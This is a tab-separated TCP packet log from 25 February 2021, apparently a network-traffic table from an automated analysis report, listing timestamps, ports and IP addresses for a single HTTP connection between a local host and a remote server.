Feb 25, 2021 15:16:00.313937902 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.314007998 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.314744949 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.314779043 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.314847946 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.315660000 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.315692902 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.315757036 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.316576004 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.316606998 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.316668987 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.317476034 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.317511082 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.317572117 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.318356991 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.318392038 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.318528891 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.319261074 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.319307089 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.319407940 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.320130110 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.320159912 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.320239067 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.321053028 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.321093082 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.321161985 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.321949005 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.321980953 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.322029114 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.322851896 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.322885036 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.322984934 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.323748112 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.323781967 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.323828936 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.324647903 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.324676991 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.324733973 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.325556040 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.325583935 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.325651884 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.326505899 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.326544046 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.326611996 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.327339888 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.327366114 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.327438116 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.328222990 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.328248024 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.328324080 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.329149008 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.329188108 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.329266071 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.330034018 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.330069065 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.330147028 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.330925941 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.330954075 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.331012011 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.331851959 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.331871033 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.331923962 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.332722902 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.332741976 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.332789898 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.333642006 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.333673000 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.333780050 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.334530115 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.334558010 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.334619045 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.335424900 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.335447073 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.335536957 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.336317062 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.336338997 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.336396933 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.337219000 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.337240934 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.337294102 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.338089943 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.338108063 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.338156939 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.339006901 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.339025974 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.339076042 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.339922905 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.339943886 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.340179920 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.340862036 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.340883017 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.340934038 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.341738939 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.341759920 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.341823101 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.342597961 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.342623949 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.342680931 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.343497992 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.343516111 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.343563080 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.344402075 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.344434023 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.344511986 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.345320940 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.345357895 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.345469952 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.361840963 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.361881971 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.361974001 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.362183094 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.362210035 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.362266064 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.363100052 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.363135099 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.363195896 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.364000082 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.364028931 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.364101887 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.364962101 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.364994049 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.365063906 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.365874052 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.365909100 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.365977049 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.367973089 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.367995024 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.368136883 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.368422031 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.368451118 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.368513107 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.369338989 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.369374037 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.370126009 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.370223045 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.370249033 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.370304108 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.371143103 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.371176004 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.371243000 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.372088909 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.372117043 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.372180939 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.372945070 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.372981071 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.373161077 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.374106884 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.374130011 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.374192953 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.374715090 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.374746084 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.374808073 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.375577927 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.375611067 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.375664949 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.376411915 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.376446009 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.376498938 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.377284050 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.377326965 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.377424955 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.378134966 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.378166914 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.378215075 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.378969908 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.379000902 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.379071951 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.379826069 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.379856110 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.379916906 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.380630970 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.380662918 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.380718946 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.381449938 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.381479025 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.381539106 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.382217884 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.382247925 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.382298946 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.383019924 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.383047104 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.383099079 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.383853912 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.383882046 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.383930922 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.384618998 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.384645939 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.384697914 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.385334969 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.385366917 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.385431051 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.386065006 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.386100054 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.386167049 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.386843920 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.386871099 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.386925936 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.387558937 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.387589931 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.387648106 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.388298035 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.388329983 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.388382912 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.389058113 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.389085054 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.389137983 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.389710903 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.389738083 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.389791965 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.390422106 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.390455961 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.390507936 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.391124964 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.391153097 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.391205072 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.391808987 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.391839981 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.392056942 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.392504930 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.392534018 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.392580986 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.393166065 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.393215895 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.393318892 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.393865108 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.393894911 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.393944979 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.394563913 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.394593000 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.394650936 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.395266056 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.395296097 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.395351887 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.395915031 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.395942926 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.395993948 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.396550894 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.396583080 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.396637917 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.397208929 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.397248983 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.397329092 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.397881985 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.397911072 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.397941113 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.397986889 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.398874998 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.398905039 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.398929119 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.398945093 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.399007082 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.399786949 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.399801970 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.399841070 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.399920940 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.400736094 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.400806904 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.401029110 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.401053905 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.401077986 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.401115894 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.401964903 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.401993990 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.402017117 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.402059078 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.402101994 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.402844906 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.402877092 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.402899981 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.402949095 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.403769016 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.403805017 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.403827906 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.403853893 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.403892040 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.404716969 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.404750109 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.404776096 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.404819012 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.405555010 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.405589104 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.405611038 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.405611992 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.405656099 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.406450033 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.406500101 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.406523943 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.406615973 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.407308102 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.407340050 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.407362938 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.407414913 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.408534050 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.408565044 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.408586025 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.408629894 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.409043074 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.409070969 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.409095049 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.409106970 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.409149885 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.410253048 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.410281897 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.410305023 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.410365105 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.410713911 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.410743952 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.410768032 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.410790920 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.410842896 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.411520004 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.411546946 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.411570072 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.411598921 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.412379980 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.412410975 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.412432909 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.412547112 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.412559986 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.413228035 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.413250923 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.413280010 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.413373947 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.414170980 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.414203882 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.414226055 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.414263964 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.414298058 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.414923906 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.414957047 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.414979935 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.415407896 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.415712118 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.415744066 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.415767908 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.415787935 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.415827990 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.416570902 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.416604042 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.416627884 CET	80	49736	172.67.172.17	192.168.2.7
